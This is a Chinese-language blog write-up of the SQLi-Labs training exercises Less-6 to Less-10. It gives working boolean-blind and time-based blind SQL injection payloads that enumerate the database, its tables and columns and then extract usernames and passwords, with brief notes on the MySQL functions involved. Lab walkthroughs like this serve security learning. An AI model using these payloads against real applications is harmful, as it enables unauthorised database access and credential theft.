《SQLi-Labs》02. Less 6~10
@
sqli。开启新坑。
索引
- Less-6:布尔盲注,字符型【"】。
- Less-7:布尔盲注,字符型【'))】。
- Less-8:布尔盲注,字符型【'】。
- Less-9:时间盲注,字符型【'】。
- Less-10:时间盲注,字符型【"】。
Less-6
与 Less-5 基本相同。这里只简略写大致步骤。
题解
根据页面报错信息可以猜测 id 参数是双引号。
只需将 Less-5 的单引号换成双引号即可。
判断当前数据库长度:
url + ?id=1" and length((select database()))>=8 --+
字符串截取并通过 ASCII 码比较来得出数据库名:
url + ?id=1" and ascii(substr((select database()), 1, 1))=115 --+
爆表
判断所有表名字符长度:
url + ?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+
ASCII 码比较得到表名:
url + ?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1))>=109--+
爆字段
判断字符长:
url + ?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20 --+
判断字段名:
url + ?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+
得到 username 和 password 字段
获取敏感数据:
判断内容长度。
url + ?id=1" and length((select group_concat(username,password) from users))>=188 --+
然后依次判断每一个字符即可。最终结果与前 4 个题相同。
url + ?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+
原理
布尔盲注。
- length() 函数:返回字符串所占的字节数。
- ascii() 函数:返回字符串最左字符的ASCII值。如果是空字符串,返回0。如果是NULL,返回NULL。
- substr() 函数:字符串截取函数。
Less-7
与 Less-5、Less-6 相同,也是布尔盲注。
题解
这题较上题有一点区别。


这一题只会显示报错,但没有报错信息。那就逐个判断一下。
传递 id=1' 时,显示错误;当传递 id=1" 时,显示正常,所以可以断定参数 id 为单引号字符串,因为单引号破坏了他原有语法结构。
然后传递 id=1' --+ 时报错,传递 id=1') --+ 发现依然报错。
那就试试双括号 id=1'))--+ ,发现页面显示正常。
于是用布尔盲注即可。Less-5 中已详细说明,Less-6 中给出了各个步骤,这里就不多说了。
Less-8
题解
Less-8 与 Less-5 一样。只不过 Less-5 没有报错信息,但有对错回显。
id参数是一个单引号字符串。使用布尔盲注,和 Less-5 无异。
Less-9
题解
通过 if (a, sleep(3), 1) ,如果 a 结果是真的,那么执行 sleep(3) ,页面延迟 3 秒;如果 a 的结果是假,执行1,页面不延迟。
思路与 Less-5 相同。这里只简单叙述。
判断参数构造。通过页面时间来判断出id参数是单引号字符串。
url + ?id=1' and if(1=1, sleep(3), 1) --+
判断当前数据库名长度。
url + ?id=1' and if(length((select database()))>8, sleep(3), 1) --+
逐一判断数据库字符。
url + ?id=1' and if(ascii(substr((select database()),1,1))=115, sleep(3), 1) --+
爆表。
判断所有表名长度。
url + ?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13, sleep(3), 1) --+
逐一判断表名。
url + ?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99, sleep(3), 1) --+
爆字段。
判断所有字段名的长度。
url + ?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20, sleep(3), 1) --+
逐一判断字段名。得到 username 和 password 字段。
url + ?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99, sleep(3), 1) --+
获取敏感数据:
判断内容长度。
url + ?id=1' and if(length((select group_concat(username,password) from users))>109, sleep(3), 1) --+
逐一检测内容即可。
url + ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50, sleep(3), 1) --+
原理
时间盲注。涉及到以下 MySQL 函数:
if (expr1, expr2, expr3)
如果 expr1 是TRUE,则返回值为 expr2;否则返回值为 expr3。sleep(N)
让此语句运行N秒钟。
当无论输入什么,页面返回的结果都一样时,就无法使用布尔盲注。这时需要使用时间盲注。
时间盲注和布尔盲注的判断理解起来其实差不多。理解 Less-5 的布尔盲注后,这题也就好理解了。
只不过是布尔盲注通过页面回显判断真伪,时间盲注通过页面相应速度判断真伪。
Less-10
题解
id参数是双引号字符串。
和 Less-9 一样,只需要将单引号换成双引号即可。
十有九人堪白眼,百无一用是书生。
——《杂感》(清)黄景仁
《SQLi-Labs》02. Less 6~10的更多相关文章
- Win10《芒果TV》更新v3.4.10春光版:优化弹窗体验,修复热键和推送
春来触地故乡情,忽见风光忆两京,金谷踏花香骑入,曲江碾草钿车行,Win10版<芒果TV>更新v3.4.10,进一步优化弹窗体验,修复热键和推送异常. Win10版<芒果TV>V ...
- 《Effective C++ 》学习笔记——规定10
***************************************转载请注明出处:http://blog.csdn.net/lttree************************** ...
- 20145219 《Java程序设计》第02周学习总结
20145219 <Java程序设计>第02周学习总结 教材学习内容总结 类型:基本类型.类类型(参考类型) 基本类型: 整数:short占2字节,int占4字节,long占8字节 字节: ...
- 20145212 《Java程序设计》第10周学习总结
20145212 <Java程序设计>第10周学习总结 学习内容总结 一.Java的网络编程 网络编程是指编写运行在多个设备(计算机)的程序,这些设备都通过网络连接起来. java.net ...
- 20145206《Java程序设计》第10周学习总结
20145206 <Java程序设计>第10周学习总结 博客学习内容总结 什么是网络编程 网络编程就是在两个或两个以上的设备(例如计算机)之间传输数据.程序员所作的事情就是把数据发送到指定 ...
- 20145334 《Java程序设计》第10周学习总结
20145334 <Java程序设计>第10周学习总结 教材学习内容总结 一.网络编程 •网络编程对于很多的初学者来说,都是很向往的一种编程技能,但是很多的初学者却因为很长一段时间无法进入 ...
- 20145337 《Java程序设计》第10周学习总结
20145337 <Java程序设计>第10周学习总结 教材学习内容总结 网络编程 网络编程的实质就是两个(或多个)设备(例如计算机)之间的数据传输. 路由器和交换机组成了核心的计算机网络 ...
- 20145320 《Java程序设计》第10周学习总结
20145320 <Java程序设计>第10周学习总结 教材学习内容总结 网络编程 计算机网络概述 网络编程的实质就是两个(或多个)设备(例如计算机)之间的数据传输. 按照计算机网络的定义 ...
- 20145225《Java程序设计》 第10周学习总结
20145225<Java程序设计> 第10周学习总结 教材学习内容总结 一.网络编程 网络编程就是在两个或两个以上的设备(例如计算机)之间传输数据: 程序员所作的事情就是把数据发送到指定 ...
- 《HelloGitHub月刊》第02期
<HelloGithub>第02期 兴趣是最好的老师,而<HelloGitHub> 就是帮你找到兴趣! 因为我比较熟悉python语言,所以月刊中python语言的项目居多,个 ...
随机推荐
- flask之数据模型flask-sqlalchemy
一.安装数据库连接依赖包 pip install flask-sqlalchemy pip install pymysql 二.项目配置 app/__init__.py from flask_sqla ...
- 2023-05-18:有 n 名工人。 给定两个数组 quality 和 wage , 其中,quality[i] 表示第 i 名工人的工作质量,其最低期望工资为 wage[i] 。 现在我们想雇佣
2023-05-18:有 n 名工人. 给定两个数组 quality 和 wage , 其中,quality[i] 表示第 i 名工人的工作质量,其最低期望工资为 wage[i] . 现在我们想雇佣 ...
- 「P2」试下1个半月能不能水出个毕设
0.目标 将上个 springboot 项目 + html 中的html用Vue来重写,也就是在原springboot项目中集成Vue 1.在界面上,将html改成vue的形式 1.1.原html & ...
- 【Python】爬虫下载视频
Python爬虫下载视频 前言 这两天我一时兴起想学习 PS ,于是去我的软件宝库中翻出陈年已久的 PhotoshopCS6 安装,结果发现很真流畅诶! 然后去搜索学习视频,网上的视频大多浮躁,收费, ...
- 用go设计开发一个自己的轻量级登录库/框架吧(拓展篇)
给自己的库/框架拓展一下吧(拓展篇) 主库:weloe/token-go: a light login library. 扩展库:weloe/token-go-extensions (github.c ...
- 02、SECS-II 通信协议介绍
这里我们先学习 SECS-II 协议,给我的感受是先学完 SECS-II 协议,再去学习 SECS-I 和 HSMS 协议更加容易理解,所以这里我先介绍 SECS-II 协议. 文章的内容基本上来自参 ...
- 关于SpringBoot AutoConfiguration
(1)如何导入的自动配置类 首先我们得从@SpringBootApplication注解入手. @SpringBootApplication public class SpringBootDemoAp ...
- Mysql DDL执行方式-pt-osc介绍 | 京东云技术团队
1 引言 大家好,接着上次和大家一起学习了<MySQL DDL执行方式-Online DDL介绍>,那么今天接着和大家一起学习另一种MySQL DDL执行方式之pt-soc. 在MySQL ...
- The shell
The shell shell是什么? 如今的计算机有着多种多样的交互接口让我们可以进行指令的的输入,从炫酷的图像用户界面(GUI),语音输入甚至是 AR/VR 都已经无处不在. 这些交互接口可以覆盖 ...
- 洛谷 P7579 「RdOI R2」称重(weigh) 题解
题意: 题目 一道交互题. 有 n 个球,里面有两个假球,假球比普通球的要轻,每次可以询问任意两组球的轻重关系,第一组轻为 < ,第二组轻为 > ,一样重量为 = . 思路: 先考虑在一个 ...